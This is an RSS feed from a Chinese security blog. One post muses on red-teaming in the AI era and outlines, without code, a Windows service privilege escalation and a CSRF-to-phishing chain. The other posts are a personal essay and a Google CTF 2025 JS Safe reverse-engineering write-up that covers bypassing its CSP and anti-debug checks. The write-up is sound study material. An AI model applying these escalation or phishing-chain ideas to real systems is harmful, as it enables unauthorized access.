<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>萦梦sora的安全Blog</title><description>人は人とつながっている</description><link>https://ymsora.com/</link><language>zh_CN</language><item><title>当审计能力在 AI 面前贬值：认知上限、攻击面重构与新红队的思考</title><link>https://ymsora.com/posts/260612/</link><guid isPermaLink="true">https://ymsora.com/posts/260612/</guid><description>随心审计</description><pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;当审计能力在 AI 面前贬值：认知上限、攻击面重构与新红队的“非对称对抗”&lt;/h1&gt;
&lt;p&gt;写一下最近有关AI攻击的思考&lt;/p&gt;
&lt;p&gt;因为在AI能力普遍突出的现在，攻击面一直是绕不开的&lt;/p&gt;
&lt;p&gt;传统红队也需要进行一定的转型&lt;/p&gt;
&lt;p&gt;审计能力在贬值，但是攻击面的思考我认为基础是极其重要的&lt;/p&gt;
&lt;p&gt;AI一直会给出解法，但是AI的主人也决定了AI协助攻击的上限&lt;/p&gt;
&lt;p&gt;我想，小登是很多时候没法注意到很小的影响产出的大攻击面的，即便他们AI用的很6&lt;/p&gt;
&lt;p&gt;举个例子，有非常多看似是AI幻觉出的洞，但是确实厂商的默认策略或者不够严重&lt;/p&gt;
&lt;p&gt;在没法直接打Nday的情况下，我认为目前最好的组合策略就是社工和厂商默认策略组合&lt;/p&gt;
&lt;p&gt;这里列个曾经发现的案例&lt;/p&gt;
&lt;p&gt;比如说，我们拿到了目标机器的普通shell。但是有软件被装在了非C盘，&lt;/p&gt;
&lt;p&gt;很多情况下是普通用户可写，并且机器运行的软件也很少，没有直接提权的地方&lt;/p&gt;
&lt;p&gt;也就是没有直接系统提权和nday，&lt;/p&gt;
&lt;p&gt;即使那样，依旧是可以直接去对于运行中的软件进行审计，&lt;/p&gt;
&lt;p&gt;AI给出了结果，在服务启动DACL会喂给stop，会调用Localsystem，&lt;/p&gt;
&lt;p&gt;而目录是低权限可写的，也就实现了提权&lt;/p&gt;
&lt;p&gt;而AI一般来说，是很难想到类似于这样，又或者是更为巧妙的思路&lt;/p&gt;
&lt;p&gt;再一个案例，在我绕过了某厂商的OCS 签名校验闸门&lt;/p&gt;
&lt;p&gt;权限接口会返回实时的授权元组，带上该元组可以改变某机的授权状态&lt;/p&gt;
&lt;p&gt;这样其实就有个很有意思的链子，当重新登录的时候，&lt;/p&gt;
&lt;p&gt;又可以在权流程API上的松散CORS中埋藏指向钓鱼网站的CSRF，&lt;/p&gt;
&lt;p&gt;等等，诸如此类&lt;/p&gt;
&lt;p&gt;也就是联动的思路&lt;/p&gt;
&lt;p&gt;最近一直在学习免杀也没有输出什么hh，就勉强写一些东西了&lt;/p&gt;
&lt;p&gt;一直学习就好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/hajichuang.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>真正的民谣蓝调</title><link>https://ymsora.com/posts/hyw1/</link><guid isPermaLink="true">https://ymsora.com/posts/hyw1/</guid><description>lovelove i miss you,you know, y</description><pubDate>Sat, 06 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;真正的民谣蓝调&lt;/h1&gt;
&lt;p&gt;这是依旧是一期杂谈，毕竟，直面荒诞的剧本拿着依旧是沉甸甸的&lt;/p&gt;
&lt;p&gt;静谧，感受到的皆为静谧的色彩，&lt;/p&gt;
&lt;p&gt;浩瀚，无边的终末，海市蜃楼&lt;/p&gt;
&lt;p&gt;优雅的旋律，古典的哀情，古老的洋馆，名为毁灭的故事&lt;/p&gt;
&lt;p&gt;轻快的小调，一往直前的冒险，友情与羁绊&lt;/p&gt;
&lt;p&gt;物哀的刹那，阳光透过树影，寂灭与时间&lt;/p&gt;
&lt;p&gt;终焉的交界地，宿命的乐章&lt;/p&gt;
&lt;p&gt;时光荏苒，已然不再的事物&lt;/p&gt;
&lt;p&gt;无边无垠的，无比神往的星空&lt;/p&gt;
&lt;p&gt;埋没的传说，可叹的神话&lt;/p&gt;
&lt;p&gt;优雅的爵士，洒脱的蓝调&lt;/p&gt;
&lt;p&gt;可非泛泛而谈，此正是另我共鸣已久之事&lt;/p&gt;
&lt;p&gt;我并不焦虑，或许是对于自己的盲从&lt;/p&gt;
&lt;p&gt;以及洪流或多或少裹挟着我&lt;/p&gt;
&lt;p&gt;让我想起，我自己的力量也是有限度的&lt;/p&gt;
&lt;p&gt;但是，在自己对于技术的追求中，&lt;/p&gt;
&lt;p&gt;纯粹的技术也好，功利也罢，&lt;/p&gt;
&lt;p&gt;或多或少让其蒙上了一层灰罩&lt;/p&gt;
&lt;p&gt;初心未改，彼岸....&lt;/p&gt;
&lt;p&gt;或许是一直以来的路吧&lt;/p&gt;
&lt;p&gt;这半年多，不管是什么方面，爱好，力量，观念&lt;/p&gt;
&lt;p&gt;都让现在的我自知，我没问题&lt;/p&gt;
&lt;p&gt;或许吧，希望那浪漫的蓝调，一直响彻在我的耳畔&lt;/p&gt;
&lt;p&gt;如此如此，再会&lt;/p&gt;
&lt;p&gt;生命璀璨，亦如繁星~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/code1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>绕过全局原型链 Hook,CSP物理填坑与 LCG 状态劫持</title><link>https://ymsora.com/posts/js%E9%80%86%E5%90%91/</link><guid isPermaLink="true">https://ymsora.com/posts/js%E9%80%86%E5%90%91/</guid><description>嘟噜嘟噜 google ctf2025复现</description><pubDate>Sat, 06 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;绕过全局原型链 Hook,CSP物理填坑与 LCG 状态劫持&lt;/h1&gt;
&lt;p&gt;很有意思的一题逆向hh，挺对胃的&lt;/p&gt;
&lt;p&gt;来源于google ctf 2025&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;!-- saved from url=(0092)https://nicolaisoeborg.github.io/ctf-writeups/2025/Google%20CTF%202025/JSSafe/js_safe_6.html --&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt;

&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot; id=&quot;c&quot; content=&quot;script-src &amp;amp;#39;sha256-P8konjutLDFcT0reFzasbgQ2OTEocAZB3vWTUbDiSjM=&amp;amp;#39; &amp;amp;#39;sha256-eDP6HO9Yybh41tLimBrIRGHRqYoykeCv2OYpciXmqcY=&amp;amp;#39; &amp;amp;#39;unsafe-eval&amp;amp;#39;&quot;&amp;gt;
&amp;lt;title _msttexthash=&quot;25335544&quot; _msthash=&quot;0&quot;&amp;gt;ASCII 旋转立方体&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
/* Basic styling to center the animation and give it a retro feel */
body {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    margin: 0;
    background-color: #1a1a1a;
    /* Dark background */
    font-family: monospace, &quot;Courier New&quot;, Courier;
    /* Monospace font for ASCII art */
    color: #00ff00;
    /* Green text, classic terminal style */
}

pre {
    line-height: 1.0;
    /* Ensure lines are tightly packed */
    font-size: 14px;
    /* Adjust for desired size; smaller fonts allow more detail */
    padding: 20px;
    border: 1px solid #00ff00;
    border-radius: 8px;
    background-color: #0d0d0d;
    /* Slightly different dark for the pre block */
    box-shadow: 0 0 15px rgba(0, 255, 0, 0.3);
}
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
&amp;lt;pre id=&quot;cubeCanvas&quot;&amp;gt;h^Y8]nM7s0HgX@mN.xb.4g~e*sh=Z&apos;8*4UGpmMr]$.ljH{Q4&amp;amp;amp;6r-Zew9!zzH
7im:7zzs+t &amp;amp;amp;5L&apos;5wv&amp;amp;amp;|ssS8R7g5Sb!f42Q@xN{B{$$s{FQNMK/wD(3xLnXO
XLG-uI#&apos;eOTS,]QrwB4DLLt+CaUEM_)Lnoe&amp;amp;amp;LZ~*A#][!_8gDd~^fPubXbb^
0%4s*+7&apos;]ER:az7qR6D0$A2plQs@}{z:z 3Q,+jbUS9sT8&apos;&amp;amp;gt;m-uasBb$o5{6
555fF[?zR]}ie+bcZ5Nk&amp;amp;lt;3Zpmj7r$^X.E&amp;amp;amp;6C:vT;c!ES@&amp;amp;gt;}*)bfup:O&amp;amp;gt;U#j@
^7,]}oTU}[=Ln6&quot;                              5=}&amp;amp;lt;^Y?ii,7(&apos;-$
ZH%aT=ws&quot;kgLF$T                              :~mR9%OQ,w7BMdY
b}|/%67!xz&amp;amp;amp;|I~N                              ^,/cG8Tnq;]96wT
g%l$!0Psg2S&apos;dn%        ##########            cXUU19V{&amp;amp;amp;&amp;amp;gt;m*;&amp;amp;gt;o
~Meepb&quot;9ft&quot;*E.D        #  #####  ####        b=&amp;amp;lt;V.s+m(x=:.5[
&amp;amp;gt;CGqx0AvnhC&quot;jMN        #      ##########     z%#WY-v@kp;({]Z
ga+7yj:lPzD_ASb       #       # #      #     38t&amp;amp;gt;^J&amp;amp;amp;YsAa}:&amp;amp;gt;&amp;amp;gt;
&amp;amp;lt;D0uaBCl$H^;mj|       #      #  #      #     /KZGA7%*&quot;^!q0/]
_@~]fU@&apos;RMyt*Z}       #      # #       #     ~&quot;EO9Fxo+Y(d4l4
eX,w_]lom0eNJeU       #      # #      #      0=]e+Qd+&quot;|# Gy*
Z05Jj[jAvzKMe(Y       #      # #      #      4vN-U_xU66h7IG&amp;amp;lt;
: |bVI:aw4HN@o-       #      # #      #      :,)x&apos;6p:0 @U^E3
:h5dQ%Wdj8Tkvrs      #       # #      #      H?s=%ACI,(78Z&amp;amp;lt;q
&amp;amp;gt;&amp;amp;amp;5XOy&apos;ffjhS{c&amp;amp;amp;      #      #  #      #      &amp;amp;amp;eKm0L;$c&amp;amp;amp;wGYQx
IH;ZT/fm{C_A_:;      #      # #       #      On!M%A].7vhbiz:
lGl&quot;LJ%M~.Sb6~)      ##########      #       OW/@)mDwW$czfAZ
az0b-_u&amp;amp;amp;#*^v@-[         ####  #####  #       P9n6LJiTB&apos;,j.2I
NU c6GH(ekyxHV,             ##########       [S?3Zn;p4k,YFXx
{RNy(zq]&quot;.#&amp;amp;gt;]C&amp;amp;lt;                              eQN&apos;&apos;6H?X-oS*#R
eHG26u.HCZX!9!w                              c$P?iUku/Fw!GX,
h:r~FHyCgj&apos;G4Y&amp;amp;lt;{f~:ION&apos;^nggp,LI7t8i]{UD,DlVz/2?S&quot;N&quot;O64rIO#Jk
3~iv^VZYD@ltQT&amp;amp;lt;*h]&apos;l7kMk!lWpT3jMDq!G(F9*PN(2%qKc-^7G owS3[Hj
R8R{HaL3x C-knoV[^LD[HZzmbyFeVo;kYgug:KK(TNpC0x&amp;amp;amp;&amp;amp;gt;zo{}SsxjDvg
V&amp;amp;gt;n:S;X;jkmL.C2+tf;P6,XeLoM&quot;W7on7yw2~5Y;m_OI%&amp;amp;gt;&amp;amp;gt;!BqCuUgQT&quot;ieb
vdRWZ@dK/9U[E4zKqz0_WnwTtBR$T&amp;amp;amp;BavJ}~)Kq=J{-A7+ni6dzgu:)jfI4v

Welcome to your personal JS Safe!

Usage:
- Open the page in Chrome (the only supported browser)
- Open Dev Tools and type:
- anti(debug); // Industry-leading antidebug!
- unlock(&quot;password&quot;); // -&amp;amp;gt; alert(secret)
- store(&quot;new secret&quot;);
- Enjoy the unparalleled data security!!!!1
&amp;lt;/pre&amp;gt;

&amp;lt;script id=&quot;gemini&amp;amp;#39;s cube&quot;&amp;gt;
// --- Configuration ---
const canvas = document.getElementById(&apos;cubeCanvas&apos;);
const charWidth = 60;  // Width of the ASCII canvas in characters
const charHeight = 30; // Height of the ASCII canvas in characters
const K_SCALE = Math.min(charWidth, charHeight) / 5; // Scale factor for the cube size
const rotationSpeedX = 0.02;
const rotationSpeedY = 0.015;
const frameInterval = 200;
const edgeChar = &apos;#&apos;; // Character used to draw edges
const vertexChar = &apos;*&apos;; // Character used to draw vertices (optional)
const drawVertices = false; // Set to true to draw vertices

// --- Cube Definition ---
// Vertices of a unit cube centered at (0,0,0)
const vertices = [
    { x: -1, y: -1, z: -1 }, { x: 1, y: -1, z: -1 }, { x: 1, y: 1, z: -1 }, { x: -1, y: 1, z: -1 },
    { x: -1, y: -1, z: 1 }, { x: 1, y: -1, z: 1 }, { x: 1, y: 1, z: 1 }, { x: -1, y: 1, z: 1 }
];

// Edges defined by pairs of vertex indices
const edges = [
    [0, 1], [1, 2], [2, 3], [3, 0], // Back face
    [4, 5], [5, 6], [6, 7], [7, 4], // Front face
    [0, 4], [1, 5], [2, 6], [3, 7]  // Connecting edges
];

let currentAngleX = 0;
let currentAngleY = 0;
let lastFrameTimestamp = 0;
let frameTime = 0;

// --- 3D Rotation Logic ---
function rotatePoint(point, angleX, angleY) {
    const { x: x_orig, y: y_orig, z: z_orig } = point;

    // Rotate around X-axis
    const cosX = Math.cos(angleX);
    const sinX = Math.sin(angleX);
    const y_after_X = y_orig * cosX - z_orig * sinX;
    const z_after_X = y_orig * sinX + z_orig * cosX;
    const x_after_X = x_orig;

    // Rotate around Y-axis (using results from X-rotation)
    const cosY = Math.cos(angleY);
    const sinY = Math.sin(angleY);
    const x_final = x_after_X * cosY + z_after_X * sinY;
    const z_final = -x_after_X * sinY + z_after_X * cosY;
    const y_final = y_after_X;

    return { x: x_final, y: y_final, z: z_final };
}

// --- 2D Projection Logic (Orthographic) ---
function projectPoint(point) {
    // Scale and translate to fit the ASCII grid
    const x2d = Math.round(point.x * K_SCALE + charWidth / 2);
    const y2d = Math.round(point.y * K_SCALE + charHeight / 2); // Y is often inverted in screen coords, but for ASCII art, top-left is (0,0)
    return { x: x2d, y: y2d, z: point.z }; // Keep z for potential depth sorting if needed
}

// --- ASCII Line Drawing (Bresenham&apos;s Algorithm) ---
function drawLineOnGrid(grid, x1, y1, x2, y2, char) {
    // Ensure coordinates are integers
    x1 = Math.round(x1); y1 = Math.round(y1);
    x2 = Math.round(x2); y2 = Math.round(y2);

    const dx = Math.abs(x2 - x1);
    const dy = Math.abs(y2 - y1);
    const sx = (x1 &amp;lt; x2) ? 1 : -1;
    const sy = (y1 &amp;lt; y2) ? 1 : -1;
    let err = dx - dy;

    while (true) {
        // Check bounds before drawing
        if (x1 &amp;gt;= 0 &amp;amp;&amp;amp; x1 &amp;lt; charWidth &amp;amp;&amp;amp; y1 &amp;gt;= 0 &amp;amp;&amp;amp; y1 &amp;lt; charHeight) {
            grid[y1][x1] = char;
        }
        if ((x1 === x2) &amp;amp;&amp;amp; (y1 === y2)) break; // Reached the end point
        const e2 = 2 * err;
        if (e2 &amp;gt; -dy) { err -= dy; x1 += sx; }
        if (e2 &amp;lt; dx) { err += dx; y1 += sy; }
    }
}

// --- Helper Functions ---
// Replace the spaces from the start of each line
function f(s) {
    return s.replace(/^[ ]*/mg, &apos;&apos;);
}

// Remove emtpy lines from the start and the end
function r(s) {
    return s.replace(/^\n/, &apos;&apos;).replace(/\n$/, &apos;&apos;)
}

// Tagged template function to help define multiline strings
function multiline(x) {
    return f(r(x[0]));
}

// --- Main Render Loop ---
function renderFrame() {
    const background = multiline`
        h^Y8]nM7s0HgX@mN.xb.4g~e*sh=Z&apos;8*4UGpmMr]$.ljH{Q4&amp;amp;6r-Zew9!zzH
        7im:7zzs+t &amp;amp;5L&apos;5wv&amp;amp;|ssS8R7g5Sb!f42Q@xN{B{$$s{FQNMK/wD(3xLnXO
        XLG-uI#&apos;eOTS,]QrwB4DLLt+CaUEM_)Lnoe&amp;amp;LZ~*A#][!_8gDd~^fPubXbb^
        0%4s*+7&apos;]ER:az7qR6D0$A2plQs@}{z:z 3Q,+jbUS9sT8&apos;&amp;gt;m-uasBb$o5{6
        555fF[?zR]}ie+bcZ5Nk&amp;lt;3Zpmj7r$^X.E&amp;amp;6C:vT;c!ES@&amp;gt;}*)bfup:O&amp;gt;U#j@
        ^7,]}oTU}[=Ln6&quot;Y^jH:?5@H]4UU4]@FE6Cw%|{UU1Q!t5=}&amp;lt;^Y?ii,7(&apos;-$
        ZH%aT=ws&quot;kgLF$Th9[1UU4]@FE6Cw%|{]=6?8E9Yall^Y:~mR9%OQ,w7BMdY
        b}|/%67!xz&amp;amp;|I~N2hY^bgeUUWW?6H tCC@CX^Y@&quot;/&amp;gt;{iB^,/cG8Tnq;]96wT
        g%l$!0Psg2S&apos;dn%Y^]DE24&amp;lt;]DA=:EWV6G2=VX]=6?8E9mcXUU19V{&amp;amp;&amp;gt;m*;&amp;gt;o
        ~Meepb&quot;9ft&quot;*E.D2D51UUWH:?5@H]DE6AZlhd^YO%5NBgb=&amp;lt;V.s+m(x=:.5[
        &amp;gt;CGqx0AvnhC&quot;jMN@AY^Za_Y|2E9]7=@@CW1YVw&quot;Xn!&quot;lvz%#WY-v@kp;({]Z
        ga+7yj:lPzD_ASbH]I1UU7C2&amp;gt;6%:&amp;gt;6^abcdX^YF/2f[*V38t&amp;gt;^J&amp;amp;YsAa}:&amp;gt;&amp;gt;
        &amp;lt;D0uaBCl$H^;mj|@AY^Z|2E9]7=@@CW1^2#7i&amp;gt;!X:ZeR&amp;amp;/KZGA7%*&quot;^!q0/]
        _@~]fU@&apos;RMyt*Z}H]I1UUH:?5@H]DE6A^a_XXj18&apos;hf*;~&quot;EO9Fxo+Y(d4l4
        eX,w_]lom0eNJeU1j&amp;gt;F=E:=:?6]2C8F&amp;gt;6?ED,_.,_.^Y$0=]e+Qd+&quot;|# Gy*
        Z05Jj[jAvzKMe(Y=jA[2Y^]C6A=246W^/-?M-?S^8[^Y=4vN-U_xU66h7IG&amp;lt;
        : |bVI:aw4HN@o-Y^VVX]C6A=246W^/, .Y^&amp;gt;8[VVXMM1:,)x&apos;6p:0 @U^E3
        :h5dQ%Wdj8TkvrsncdiKf H?_L5oYT_&amp;amp;G;SZod(CN@mviH?s=%ACI,(78Z&amp;lt;q
        &amp;gt;&amp;amp;5XOy&apos;ffjhS{c&amp;amp;EU!,&amp;amp;~OYd;umr(Ya@2=PcP+Q@;vS0n&amp;amp;eKm0L;$c&amp;amp;wGYQx
        IH;ZT/fm{C_A_:;bo B7tk0.R~AU6}n&amp;lt;U%R[,VTsyOL_-On!M%A].7vhbiz:
        lGl&quot;LJ%M~.Sb6~)^]CACK5i=LET=O+r894x+TiJMJhoydOW/@)mDwW$czfAZ
        az0b-_u&amp;amp;#*^v@-[5F$rn&quot;/4#:Zc5$Ta=fjp/7fx+),TG?P9n6LJiTB&apos;,j.2I
        NU c6GH(ekyxHV,JkwvCfhVPcnE8;(C=2}_?gwszoo^QD[S?3Zn;p4k,YFXx
        {RNy(zq]&quot;.#&amp;gt;]C&amp;lt;|+4Mn(}!/+YACj}R}XYKuc|9tLM}hseQN&apos;&apos;6H?X-oS*#R
        eHG26u.HCZX!9!w8%St-LYmbhf2rl{&quot;}:*J&amp;amp;~yZ6ALpI5c$P?iUku/Fw!GX,
        h:r~FHyCgj&apos;G4Y&amp;lt;{f~:ION&apos;^nggp,LI7t8i]{UD,DlVz/2?S&quot;N&quot;O64rIO#Jk
        3~iv^VZYD@ltQT&amp;lt;*h]&apos;l7kMk!lWpT3jMDq!G(F9*PN(2%qKc-^7G owS3[Hj
        R8R{HaL3x C-knoV[^LD[HZzmbyFeVo;kYgug:KK(TNpC0x&amp;amp;&amp;gt;zo{}SsxjDvg
        V&amp;gt;n:S;X;jkmL.C2+tf;P6,XeLoM&quot;W7on7yw2~5Y;m_OI%&amp;gt;&amp;gt;!BqCuUgQT&quot;ieb
        vdRWZ@dK/9U[E4zKqz0_WnwTtBR$T&amp;amp;BavJ}~)Kq=J{-A7+ni6dzgu:)jfI4v

        Welcome to your personal JS Safe!

        Usage:
        - Open the page in Chrome (the only supported browser)
        - Open Dev Tools and type:
        - anti(debug); // Industry-leading antidebug!
        - unlock(&quot;password&quot;); // -&amp;gt; alert(secret)
        - store(&quot;new secret&quot;);
        - Enjoy the unparalleled data security!!!!1
    `;
    let grid = background.split(&apos;\n&apos;).map(l =&amp;gt; l.split(&apos;&apos;));

    // Clear the middle part to make the cube clearly visible
    for (let i = 5; i &amp;lt; 25; i++) {
        for (let j = 15; j &amp;lt; 45; j++) {
            grid[i][j] = &apos; &apos;;
        }
    }

    // Rotate and project all vertices
    const rotatedVertices = vertices.map(v =&amp;gt; rotatePoint(v, currentAngleX, currentAngleY));
    const projectedVertices = rotatedVertices.map(v =&amp;gt; projectPoint(v));

    // Draw vertices (optional)
    if (drawVertices) {
        projectedVertices.forEach(p =&amp;gt; {
            if (p.x &amp;gt;= 0 &amp;amp;&amp;amp; p.x &amp;lt; charWidth &amp;amp;&amp;amp; p.y &amp;gt;= 0 &amp;amp;&amp;amp; p.y &amp;lt; charHeight) {
                grid[p.y][p.x] = vertexChar;
            }
        });
    }

    // Draw edges
    edges.forEach(edge =&amp;gt; {
        const p1 = projectedVertices[edge[0]];
        const p2 = projectedVertices[edge[1]];
        drawLineOnGrid(grid, p1.x, p1.y, p2.x, p2.y, edgeChar);
    });

    // Convert grid to string and update the canvas
    const content = grid.map(row =&amp;gt; row.join(&apos;&apos;)).join(&apos;\n&apos;);
    canvas.textContent = content;
    console.clear();
    console.log(content);

    // Update angles for the next frame
    currentAngleX += rotationSpeedX;
    currentAngleY += rotationSpeedY;
    
    // Save timestamp and frame time for statistics
    frameTime = (new Date()) - lastFrameTimestamp;
    lastFrameTimestamp = +(new Date());
}

// --- Start Animation ---
setInterval(renderFrame, frameInterval);
renderFrame(); // Initial render
&amp;lt;/script&amp;gt;

&amp;lt;script&amp;gt;
function anti(debug) {
window.step = 0;
window.cﾠ= true; // Countﾠstepsﾠwith debug (prototype instrumentation is separate)
window.success = false;

window.r // ROT47
 = function(s) {
    return s.toString().replace(/[\x21-\x7E]/g,c=&amp;gt;String.fromCharCode(33+((c.charCodeAt()-33+47)%94)));
}

window.k // ROT13 - TODO:ﾠuse thisﾠfor anﾠadditional encryption layer
ﾠ= function(s) {
    return s.toString().replace(/[a-z]/gi,c=&amp;gt;(c=c.charCodeAt(),String.fromCharCode((c&amp;amp;95)&amp;lt;78?c+13:c-13)));
}

window.check // Checks password
 = function() {
    Function`[0].step; if (window.step == 0 || check.toString().length !== 914) while(true) debugger; // Aﾠcooler wayﾠto eval```
    // Functionﾠuntampered,ﾠproceed to &apos;decryption` &amp;amp; check
    try {
    window.step = 0;
    [0].step;
    const flag = (window.flag||&apos;&apos;).split(&apos;&apos;);
    let iﾠ= 1337, j = 0;
    let pool =ﾠ`?o&amp;gt;\`Wn0o0U0N?05o0ps}q0|mt\`ne\`us&amp;amp;400_pn0ss_mph_0\`5`;
    pool = r(pool).split(&apos;&apos;);
    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible
    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] &amp;amp;&amp;amp; (window.step &amp;lt; 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&amp;amp;&amp;amp;!flag.length) window.success = true;
        }
    }
    } catch(e) {}
}

function instrument() {
    f = arguments[0];
    // TODO: figure out how to get a runtime reference to the debugged function in this debug
    // condition context, so we can inspect it at runtime, in case it changes
    debug(f, &quot;window.c &amp;amp;&amp;amp; function perf(){ const l = `&quot; + f + &quot;`.length; window.step += l; }() // poor man&apos;s &apos;performance counter`&quot;);
    // Trigger a breakpoint on all checks when detecting tampering
    debug(f, &quot;document.documentElement.outerHTML.length !== 14347&quot;);
}

function instrumentPrototype(o) {
    Object.entries(Object.getOwnPropertyDescriptors(o))
      .filter(p =&amp;gt; p[1].value instanceof Function)
      .forEach(p =&amp;gt; Object.defineProperty(o, p[0], {
        get: () =&amp;gt; (step++) &amp;amp;&amp;amp; p[1].value
      }));
}

function instrumentPrototypeOfPrototype(o) {
    const handler = {};
    Reflect.ownKeys(Reflect).forEach(h =&amp;gt; handler[h] = (a,b,c) =&amp;gt; (step++) &amp;amp;&amp;amp; Reflect[h](a, b, c));
    Object.setPrototypeOf(o, new Proxy(Object.getPrototypeOf(o), handler));
}

[Array, Array.prototype, String.prototype, Math, console, Reflect].map(o =&amp;gt;
    Object.values(Object.getOwnPropertyDescriptors(o)).map(x =&amp;gt; x.value || x.get).filter(x =&amp;gt; x instanceof Function) 
).flat().concat(check, eval).forEach(instrument);
instrumentPrototype(Array.prototype);
instrumentPrototypeOfPrototype(Array.prototype);
}


function unlock(flag) {
  const match = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(flag);
  if (!match) return false;
  window.flag = match[1];
  check();
  if (!window.success) return;
  window.password = Array.from(window.flag).map(c =&amp;gt; c.charCodeAt());
  const encrypted = JSON.parse(localStorage.content || &apos;[]&apos;);
  const decrypted = encrypted.map((c,i) =&amp;gt; c ^ password[i % password.length]).map(String.fromCharCode).join(&apos;&apos;);
  alert(&quot;JS Safe opened! Content:&quot; + decrypted);
}

function store(secret) {
  const plaintext = Array.from(secret).map(c =&amp;gt; c.charCodeAt());
  localStorage.content = JSON.stringify(plaintext.map((c,i) =&amp;gt; c ^ password[i % password.length]));
}
&amp;lt;/script&amp;gt;


&amp;lt;deepl-input-controller translate=&quot;no&quot;&amp;gt;&amp;lt;template shadowrootmode=&quot;open&quot;&amp;gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;chrome-extension://fancfknaplihpclbhbpclnmmjcjanbaf/build/content.css&quot;&amp;gt;&amp;lt;div dir=&quot;ltr&quot; style=&quot;visibility: initial !important;&quot;&amp;gt;&amp;lt;div class=&quot;dl-input-translation-container svelte-95aucy&quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/template&amp;gt;&amp;lt;/deepl-input-controller&amp;gt;&amp;lt;div id=&quot;phraseJoinewrskdfdswerhnyikyofd&quot; data-v-app=&quot;&quot;&amp;gt;&amp;lt;div data-v-f4d4888e=&quot;&quot; class=&quot;xx-qy-style-dark&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这里的js逆向极其繁琐，&lt;/p&gt;
&lt;p&gt;第一，它上了csp头，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot; id=&quot;c&quot; content=&quot;script-src &amp;amp;#39;sha256-P8konjutLDFcT0reFzasbgQ2OTEocAZB3vWTUbDiSjM=&amp;amp;#39; &amp;amp;#39;sha256-eDP6HO9Yybh41tLimBrIRGHRqYoykeCv2OYpciXmqcY=&amp;amp;#39; &amp;amp;#39;unsafe-eval&amp;amp;#39;&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;防止篡改，但是这里可以将其改为unsafe-line,&lt;strong&gt;删去哈希串，当然，因为长度的因素，这里需要将后面加空格&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这样就可以绕过有关长度校验&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当然，有点随笔的感觉，接着就是几个坑&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
function anti(debug) {
window.step = 0;
window.cﾠ= true; // Countﾠstepsﾠwith debug (prototype instrumentation is separate)
window.success = false;

window.r // ROT47
 = function(s) {
    return s.toString().replace(/[\x21-\x7E]/g,c=&amp;gt;String.fromCharCode(33+((c.charCodeAt()-33+47)%94)));
}

window.k // ROT13 - TODO:ﾠuse thisﾠfor anﾠadditional encryption layer
ﾠ= function(s) {
    return s.toString().replace(/[a-z]/gi,c=&amp;gt;(c=c.charCodeAt(),String.fromCharCode((c&amp;amp;95)&amp;lt;78?c+13:c-13)));
}

window.check // Checks password
 = function() {
    Function`[0].step; if (window.step == 0 || check.toString().length !== 914) while(true) debugger; // Aﾠcooler wayﾠto eval```
    // Functionﾠuntampered,ﾠproceed to &apos;decryption` &amp;amp; check
    try {
    window.step = 0;
    [0].step;
    const flag = (window.flag||&apos;&apos;).split(&apos;&apos;);
    let iﾠ= 1337, j = 0;
    let pool =ﾠ`?o&amp;gt;\`Wn0o0U0N?05o0ps}q0|mt\`ne\`us&amp;amp;400_pn0ss_mph_0\`5`;
    pool = r(pool).split(&apos;&apos;);
    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible
    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] &amp;amp;&amp;amp; (window.step &amp;lt; 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&amp;amp;&amp;amp;!flag.length) window.success = true;
        }
    }
    } catch(e) {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里沿用的大量特殊字符混淆视听，其实不是空格，而是Unicode 字符 &lt;code&gt;\xef\xbe\xa0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样就有很多可以迎刃而解了&lt;/p&gt;
